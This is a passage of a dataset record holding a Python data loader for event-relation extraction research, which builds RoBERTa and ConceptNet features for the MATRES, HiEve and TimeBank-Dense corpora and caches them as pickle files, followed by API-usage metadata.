yet!\".format(self.type))\n\n\nclass C2V(object):\n def __init__(self, emb_file:str) -> None:\n super().__init__()\n with open(emb_file, 'r', encoding='UTF-8') as f:\n lines = f.readlines()\n self.c2v = {}\n for line in lines:\n tokens = line.split(\" \")\n concept = tokens[0]\n emb = [float(tok) for tok in tokens[1:]]\n self.c2v[concept] = emb\n\n def get_emb(self, concept):\n _concept = \"_\".join(concept.split(\" \")).lower()\n # print(cp)\n try:\n return self.c2v[_concept]\n except:\n return [0.0]*300\n\n\ndef load_dataset(dir_name, type):\n reader = Reader(type)\n onlyfiles = [f for f in os.listdir(dir_name) if os.path.isfile(os.path.join(dir_name, f))]\n corpus = []\n # i = 0\n for file_name in tqdm.tqdm(onlyfiles):\n # if i == 1:\n # break\n # i = i + 1\n if type == 'i2b2_xml':\n if file_name.endswith('.xml'):\n my_dict = reader.read(dir_name, file_name)\n if my_dict != None:\n corpus.append(my_dict)\n else:\n my_dict = reader.read(dir_name, file_name)\n if my_dict != None:\n corpus.append(my_dict)\n return corpus\n\nglobal_sent_encoder = SentenceEncoder('roberta-base')\nglobal_c2v = C2V('./datasets/numberbatch-en-19.08.txt')\n\ndef loader(dataset, min_ns, file_type=None, file_path=None, label_type=None):\n sent_encoder = global_sent_encoder\n c2v = global_c2v\n def get_data_point(my_dict, flag):\n data = []\n eids = my_dict['event_dict'].keys()\n pair_events = list(combinations(eids, 2))\n\n ctx_id_augm = []\n for pair in pair_events:\n x, y = pair\n \n x_sent_id = my_dict['event_dict'][x]['sent_id']\n y_sent_id = my_dict['event_dict'][y]['sent_id']\n ctx_id = list(range(len( my_dict[\"sentences\"])))\n if x_sent_id != y_sent_id:\n ctx_id.remove(x_sent_id)\n ctx_id.remove(y_sent_id)\n else:\n ctx_id.remove(x_sent_id)\n id_augm = [tuple(sorted([x_sent_id, y_sent_id, id])) for id in ctx_id]\n ctx_id_augm.extend(id_augm)\n ctx_id_augm = list(set(ctx_id_augm))\n # print(len(ctx_id_augm))\n\n ctx_augm = []\n ctx_augm_mask = []\n _augm_emb = []\n for ids in ctx_id_augm:\n ids = set(ids)\n sent = []\n for id in ids:\n sent = sent + my_dict[\"sentences\"][id][\"roberta_subword_to_ID\"][1:]\n sent = [0] + sent\n pad, mask = padding(sent, max_sent_len=512)\n _augm_emb.append(sent_encoder.encode(pad, mask, is_ctx=True))\n ctx_augm.append(pad)\n ctx_augm_mask.append(mask)\n _augm_emb = torch.cat(_augm_emb, dim=0)\n if len(ctx_augm) == 0:\n _augm_emb = []\n _ctx_augm_emb = {}\n for i in range(len(ctx_id_augm)):\n _ctx_augm_emb[ctx_id_augm[i]] = _augm_emb[i]\n\n doc = []\n doc_mask = []\n doc_emb = []\n for sent_id in list(range(len( my_dict[\"sentences\"]))):\n sent = my_dict[\"sentences\"][sent_id][\"roberta_subword_to_ID\"]\n pad, mask = padding(sent, max_sent_len=512)\n doc_emb.append(sent_encoder.encode(pad, mask))\n doc.append(pad)\n doc_mask.append(mask)\n doc_emb = torch.cat(doc_emb, dim=0)\n\n sent_ev = defaultdict(list)\n sent_ev_ids = defaultdict(list)\n ev_kg_emb = {}\n # print(eids)\n for eid in eids:\n sent_id = my_dict['event_dict'][eid]['sent_id']\n e_possition = my_dict[\"event_dict\"][eid][\"roberta_subword_id\"]\n sent_ev[sent_id].append(e_possition)\n sent_ev_ids[sent_id].append(eid)\n mention = my_dict[\"event_dict\"][eid][\"mention\"] ######\n # print(mention)\n kg_emb = c2v.get_emb(mention)\n # print(kg_emb)\n ev_kg_emb[eid] = kg_emb\n sent_ev = dict(sent_ev)\n sent_ev_ids = dict(sent_ev_ids)\n # print(ev_kg_emb)\n \n for pair in pair_events:\n x, y = pair\n \n x_sent_id = my_dict['event_dict'][x]['sent_id']\n y_sent_id = my_dict['event_dict'][y]['sent_id']\n\n x_sent = my_dict[\"sentences\"][x_sent_id][\"roberta_subword_to_ID\"]\n y_sent = my_dict[\"sentences\"][y_sent_id][\"roberta_subword_to_ID\"]\n\n x_position = my_dict[\"event_dict\"][x][\"roberta_subword_id\"]\n y_position = my_dict[\"event_dict\"][y][\"roberta_subword_id\"]\n\n x_sent_pos = pos_to_id(my_dict[\"sentences\"][x_sent_id][\"roberta_subword_pos\"])\n y_sent_pos = pos_to_id(my_dict[\"sentences\"][y_sent_id][\"roberta_subword_pos\"])\n \n target, x_position_new, y_position_new = create_target(x_sent, y_sent, x_sent_id, y_sent_id, x_position, y_position)\n target_encode = sent_encoder.encode(target)\n target_emb = target_encode[:, 0].squeeze()\n target_len = len(target)\n\n x_ev_embs = target_encode[:, x_position_new].squeeze()\n y_ev_embs = target_encode[:, y_position_new].squeeze()\n\n x_kg_ev_emb = torch.tensor(ev_kg_emb[x])\n y_kg_ev_emb = torch.tensor(ev_kg_emb[y])\n # print(x_kg_ev_emb)\n\n ctx = []\n _ctx_emb = []\n ctx_pos = []\n ctx_len = []\n _ctx_ev_embs = []\n _ctx_ev_kg_embs = []\n ctx_id = list(range(len( my_dict[\"sentences\"])))\n num_ev_sents = []\n if x_sent_id != y_sent_id:\n ctx_id.remove(x_sent_id)\n ctx_id.remove(y_sent_id)\n else:\n ctx_id.remove(x_sent_id)\n id_mapping = {}\n if len(ctx_id) != 0:\n i = 0\n for sent_id in ctx_id:\n id_mapping[i] = sent_id\n sent = my_dict[\"sentences\"][sent_id]['roberta_subword_to_ID']\n sent_pos = pos_to_id(my_dict[\"sentences\"][sent_id]['roberta_subword_pos'])\n ctx.append(sent)\n ctx_pos.append(sent_pos)\n ctx_len.append(len(sent))\n sent_emb = _ctx_augm_emb[tuple(sorted([x_sent_id, y_sent_id, sent_id]))]\n assert sent_emb != None\n _ctx_emb.append(sent_emb)\n e_possitions = sent_ev.get(sent_id)\n if e_possitions == None:\n e_possitions = []\n num_ev_sents.append(len(e_possitions))\n if len(e_possitions) != 0:\n ev_embs = torch.max(doc_emb[sent_id, e_possitions, :], dim=0)[0] # 768\n _ctx_ev_embs.append(ev_embs)\n\n eids = sent_ev_ids.get(sent_id)\n if eids == None:\n eids = []\n # print(eids)\n if len(eids) != 0:\n sent_ev_kg_emb = [ev_kg_emb[eid] for eid in eids]\n # print(\"before: \", torch.tensor(sent_ev_kg_emb))\n sent_ev_kg_emb = torch.max(torch.tensor(sent_ev_kg_emb), dim=0)[0] # 300\n # print(\"max: \", sent_ev_kg_emb)\n _ctx_ev_kg_embs.append(sent_ev_kg_emb)\n else:\n # print(\"Sent no ev\")\n _ctx_ev_embs.append(torch.ones(768)*-1000.0)\n _ctx_ev_kg_embs.append(torch.ones(300)*-1000.0)\n i = i + 1\n # print(ctx_ev_kg_embs)\n ctx_ev_kg_embs =torch.stack(_ctx_ev_kg_embs, dim=0)\n ctx_ev_embs = torch.stack(_ctx_ev_embs, dim=0)\n ctx_emb = torch.stack(_ctx_emb, dim=0) # ns x 768\n # print(ctx_emb.size())\n xy = my_dict[\"relation_dict\"].get((x, y))\n yx = my_dict[\"relation_dict\"].get((y, x))\n\n candidates = [\n [str(x), str(y), x_sent, y_sent, x_sent_id, y_sent_id, x_sent_pos, y_sent_pos, x_position, y_position, x_ev_embs, y_ev_embs, x_kg_ev_emb, \n y_kg_ev_emb, id_mapping, target, target_emb, target_len, ctx, ctx_emb, ctx_ev_embs, num_ev_sents, ctx_ev_kg_embs, ctx_len, ctx_pos, flag, xy],\n [str(y), str(x), y_sent, x_sent, y_sent_id, x_sent_id, y_sent_pos, x_sent_pos, y_position, x_position, y_ev_embs, x_ev_embs, y_kg_ev_emb,\n x_kg_ev_emb, id_mapping, target, target_emb, target_len, ctx, ctx_emb, ctx_ev_embs, num_ev_sents, ctx_ev_kg_embs, ctx_len, ctx_pos, flag, yx],\n ]\n for item in candidates:\n if item[-1] != None:\n data.append(item)\n return data\n\n train_set = []\n train_short = []\n test_set = []\n test_short = []\n validate_set = []\n validate_short = []\n if dataset == \"MATRES\":\n print(\"MATRES Loading .......\")\n aquaint_dir_name = \"./datasets/MATRES/TBAQ-cleaned/AQUAINT/\"\n timebank_dir_name = \"./datasets/MATRES/TBAQ-cleaned/TimeBank/\"\n platinum_dir_name = \"./datasets/MATRES/te3-platinum/\"\n validate = load_dataset(aquaint_dir_name, 'tml')\n train = load_dataset(timebank_dir_name, 'tml')\n test = load_dataset(platinum_dir_name, 'tml')\n _tt = train + validate\n _tt = list(sorted(_tt, key=lambda x: x[\"doc_id\"]))\n train, validate = train_test_split(_tt, test_size=0.1, train_size=0.9)\n \n processed_dir = \"./datasets/MATRES/docEvR_processed_kg/\"\n if not os.path.exists(processed_dir):\n os.mkdir(processed_dir)\n\n for my_dict in tqdm.tqdm(train):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 2)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n train_set.append(item)\n if len(item[-4]) < min_ns:\n train_short.append(item)\n\n for my_dict in tqdm.tqdm(validate):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 2)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n validate_set.append(item)\n if len(item[-4]) < min_ns:\n validate_short.append(item)\n \n for my_dict in tqdm.tqdm(test):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 2)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n test_set.append(item)\n if len(item[-4]) < min_ns:\n test_short.append(item)\n\n print(\"Train_size: {}\".format(len(train_set) + len(train_short)))\n print(\"Test_size: {}\".format(len(test_set) + len(test_short)))\n print(\"Validate_size: {}\".format(len(validate_set) + len(validate_short)))\n \n if dataset == \"HiEve\":\n print(\"HiEve Loading .....\")\n dir_name = \"./datasets/hievents_v2/processed/\"\n corpus = load_dataset(dir_name, 'tsvx')\n corpus = list(sorted(corpus, key=lambda x: x[\"doc_id\"]))\n train, test = train_test_split(corpus, train_size=0.8, test_size=0.2)\n train, validate = train_test_split(train, train_size=0.75, test_size=0.25)\n sample = 0.4\n\n processed_dir = \"./datasets/hievents_v2/processed/docEvR_processed_kg/\"\n if not os.path.exists(processed_dir):\n os.mkdir(processed_dir)\n\n for my_dict in tqdm.tqdm(train):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if os.path.exists(processed_dir+file_name):\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n else:\n data = get_data_point(my_dict, 1)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n for item in data:\n if item[-1] == 3:\n if random.uniform(0, 1) < sample:\n if len(item[-4]) >= min_ns:\n train_set.append(item)\n else:\n train_short.append(item)\n else:\n if len(item[-4]) >= min_ns:\n train_set.append(item)\n else:\n train_short.append(item)\n \n for my_dict in tqdm.tqdm(test):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if os.path.exists(processed_dir+file_name):\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n else:\n data = get_data_point(my_dict, 1)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n for item in data:\n if item[-1] == 3:\n if random.uniform(0, 1) < sample:\n if len(item[-4]) >= min_ns:\n test_set.append(item)\n else:\n test_short.append(item)\n else:\n if len(item[-4]) >= min_ns:\n test_set.append(item)\n else:\n test_short.append(item)\n \n for my_dict in tqdm.tqdm(validate):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if os.path.exists(processed_dir+file_name):\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n else:\n data = get_data_point(my_dict, 1)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n for item in data:\n if item[-1] == 3:\n if random.uniform(0, 1) < sample:\n if len(item[-4]) >= min_ns:\n validate_set.append(item)\n else:\n validate_short.append(item)\n else:\n if len(item[-4]) >= min_ns:\n validate_set.append(item)\n else:\n validate_short.append(item)\n \n print(\"Train_size: {}\".format(len(train_set) + len(train_short)))\n print(\"Test_size: {}\".format(len(test_set) + len(test_short)))\n print(\"Validate_size: {}\".format(len(validate_set) + len(validate_short)))\n\n if dataset == 'TBD':\n print(\"Timebank Dense Loading .....\")\n train_dir = \"./datasets/TimeBank-dense/train/\"\n test_dir = \"./datasets/TimeBank-dense/test/\"\n validate_dir = \"./datasets/TimeBank-dense/dev/\"\n train = load_dataset(train_dir, 'tbd_tml')\n test = load_dataset(test_dir, 'tbd_tml')\n validate = load_dataset(validate_dir, 'tbd_tml')\n _tt = train + validate\n _tt = list(sorted(_tt, key=lambda x: x[\"doc_id\"]))\n train, validate = train_test_split(_tt, test_size=0.1, train_size=0.9)\n\n processed_dir = \"./datasets/TimeBank-dense/docEvR_processed_kg/\"\n if not os.path.exists(processed_dir):\n os.mkdir(processed_dir)\n\n for my_dict in tqdm.tqdm(train):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 4)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n train_set.append(item)\n if len(item[-4]) < min_ns:\n train_short.append(item)\n\n for my_dict in tqdm.tqdm(test):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 4)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n test_set.append(item)\n if len(item[-4]) < min_ns:\n test_short.append(item)\n \n for my_dict in tqdm.tqdm(validate):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 4)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n validate_set.append(item)\n if len(item[-4]) < min_ns:\n validate_short.append(item)\n\n print(\"Train_size: {}\".format(len(train_set) + len(train_short)))\n print(\"Test_size: {}\".format(len(test_set) + len(test_short)))\n print(\"Validate_size: {}\".format(len(validate_set) + len(validate_short)))\n \n if dataset == 'TDD_man':\n print(\"TDD_man Loading .....\")\n train_dir = \"./datasets/TimeBank-dense/train/\"\n test_dir = \"./datasets/TimeBank-dense/test/\"\n validate_dir = \"./datasets/TimeBank-dense/dev/\"\n train = load_dataset(train_dir, 'tdd_man')\n test = load_dataset(test_dir, 'tdd_man')\n validate = load_dataset(validate_dir, 'tdd_man')\n # _tt = train + validate\n # _tt = list(sorted(_tt, key=lambda x: x[\"doc_id\"]))\n # train, validate = train_test_split(_tt, test_size=0.1, train_size=0.9)\n\n processed_dir = \"./datasets/TDDiscourse/TDDMan/docEvR_processed_kg/\"\n if not os.path.exists(processed_dir):\n os.mkdir(processed_dir)\n\n for my_dict in tqdm.tqdm(train):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 5)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n train_set.append(item)\n if len(item[-4]) < min_ns:\n train_short.append(item)\n\n for my_dict in tqdm.tqdm(test):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 5)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n test_set.append(item)\n if len(item[-4]) < min_ns:\n test_short.append(item)\n \n for my_dict in tqdm.tqdm(validate):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 5)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n validate_set.append(item)\n if len(item[-4]) < min_ns:\n validate_short.append(item)\n\n print(\"Train_size: {}\".format(len(train_set) + len(train_short)))\n print(\"Test_size: {}\".format(len(test_set) + len(test_short)))\n print(\"Validate_size: {}\".format(len(validate_set) + len(validate_short)))\n \n if dataset == 'TDD_auto':\n print(\"TDD_auto Loading .....\")\n train_dir = \"./datasets/TimeBank-dense/train/\"\n test_dir = \"./datasets/TimeBank-dense/test/\"\n validate_dir = \"./datasets/TimeBank-dense/dev/\"\n train = load_dataset(train_dir, 'tdd_auto')\n test = load_dataset(test_dir, 'tdd_auto')\n validate = load_dataset(validate_dir, 'tdd_auto')\n # _tt = train + validate\n # _tt = list(sorted(_tt, key=lambda x: x[\"doc_id\"]))\n # train, validate = train_test_split(_tt, test_size=0.1, train_size=0.9)\n\n processed_dir = \"./datasets/TDDiscourse/TDDAuto/docEvR_processed_kg/\"\n if not os.path.exists(processed_dir):\n os.mkdir(processed_dir)\n\n for my_dict in tqdm.tqdm(train):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 5)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n train_set.append(item)\n if len(item[-4]) < min_ns:\n train_short.append(item)\n\n for my_dict in tqdm.tqdm(test):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 5)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n test_set.append(item)\n if len(item[-4]) < min_ns:\n test_short.append(item)\n \n for my_dict in tqdm.tqdm(validate):\n file_name = my_dict[\"doc_id\"] + \".pkl\"\n if not os.path.exists(processed_dir+file_name):\n data = get_data_point(my_dict, 5)\n with open(processed_dir+file_name, 'wb') as f:\n pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(processed_dir+file_name, 'rb') as f:\n data = pickle.load(f)\n for item in data:\n if len(item[-4]) >= min_ns:\n validate_set.append(item)\n if len(item[-4]) < min_ns:\n validate_short.append(item)\n\n print(\"Train_size: {}\".format(len(train_set) + len(train_short)))\n print(\"Test_size: {}\".format(len(test_set) + len(test_short)))\n print(\"Validate_size: {}\".format(len(validate_set) + len(validate_short)))\n\n if dataset=='infer':\n reader = Reader(file_type)\n print(f'Reading file {file_path} ....')\n my_dict = reader.read('', file_path)\n data = get_data_point(my_dict, label_type)\n for item in data:\n if len(item[-4]) >= min_ns:\n test_set.append(item)\n else:\n test_short.append(item)\n print(\"Train_size: {}\".format(len(train_set)))\n print(\"Test_size: {}\".format(len(test_set)))\n print(\"Validate_size: {}\".format(len(validate_set)))\n print(\"Train_size: {}\".format(len(train_short)))\n print(\"Test_size: {}\".format(len(test_short)))\n print(\"Validate_size: {}\".format(len(validate_short)))\n\n del sent_encoder\n del c2v\n gc.collect()\n\n return train_set, test_set, validate_set, train_short, test_short, validate_short\n", "repo_name": "hieumdt/SCS-EERE", "sub_path": "data_loader/loader.py", "file_name": "loader.py", "file_ext": "py", "file_size_in_byte": 26711, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.manual_seed", "line_number": 2, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 4, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 6, "usage_type": "attribute"}, {"api_name": "data_loader.reader.tsvx_reader", "line_number": 26, "usage_type": "call"}, {"api_name": "data_loader.reader.tml_reader", "line_number": 28, "usage_type": "call"}, {"api_name": "data_loader.reader.mulerx_tsvx_reader", "line_number": 30, "usage_type": "call"}, {"api_name": "data_loader.reader.tbd_tml_reader", "line_number": 32, "usage_type": "call"}, {"api_name": "data_loader.reader.tdd_tml_reader", "line_number": 34, "usage_type": "call"}, {"api_name": "data_loader.reader.tdd_tml_reader", "line_number": 36, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 67, "usage_type": "call"}, {"api_name": "utils.SentenceEncoder.SentenceEncoder", "line_number": 82, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 91, "usage_type": "call"}, {"api_name": "utils.tools.padding", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 123, "usage_type": "call"}, {"api_name": "utils.tools.padding", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 139, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 141, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 142, "usage_type": "call"}, {"api_name": "utils.tools.pos_to_id", "line_number": 171, "usage_type": "call"}, {"api_name": "utils.tools.pos_to_id", "line_number": 172, "usage_type": "call"}, {"api_name": "utils.tools.create_target", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 183, "usage_type": "call"}, {"api_name": "utils.tools.pos_to_id", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 232, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 233, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 238, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 273, "usage_type": "call"}, {"api_name": "os.path", "line_number": 273, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 274, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 278, "usage_type": "call"}, {"api_name": "os.path", "line_number": 278, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 281, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 281, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 284, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 291, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 293, "usage_type": "call"}, {"api_name": "os.path", "line_number": 293, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 296, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 296, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 299, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 306, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 308, "usage_type": "call"}, {"api_name": "os.path", "line_number": 308, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 311, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 311, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 314, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 330, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 331, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 335, "usage_type": "call"}, {"api_name": "os.path", "line_number": 335, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 336, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 338, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 340, "usage_type": "call"}, {"api_name": "os.path", "line_number": 340, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 342, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 346, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 346, "usage_type": "attribute"}, {"api_name": "random.uniform", "line_number": 349, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 360, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 362, "usage_type": "call"}, {"api_name": "os.path", "line_number": 362, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 364, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 368, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 368, "usage_type": "attribute"}, {"api_name": "random.uniform", "line_number": 371, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 382, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 384, "usage_type": "call"}, {"api_name": "os.path", "line_number": 384, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 386, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 390, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 390, "usage_type": "attribute"}, {"api_name": "random.uniform", "line_number": 393, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 418, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 421, "usage_type": "call"}, {"api_name": "os.path", "line_number": 421, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 422, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 424, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 426, "usage_type": "call"}, {"api_name": "os.path", "line_number": 426, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 429, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 429, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 432, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 439, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 441, "usage_type": "call"}, {"api_name": "os.path", "line_number": 441, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 444, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 444, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 447, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 454, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 456, "usage_type": "call"}, {"api_name": "os.path", "line_number": 456, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 459, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 459, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 462, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 486, "usage_type": "call"}, {"api_name": "os.path", "line_number": 486, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 487, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 489, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 491, "usage_type": "call"}, {"api_name": "os.path", "line_number": 491, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 494, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 494, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 497, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 504, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 506, "usage_type": "call"}, {"api_name": "os.path", "line_number": 506, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 509, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 509, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 512, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 519, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 521, "usage_type": "call"}, {"api_name": "os.path", "line_number": 521, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 524, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 524, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 527, "usage_type": 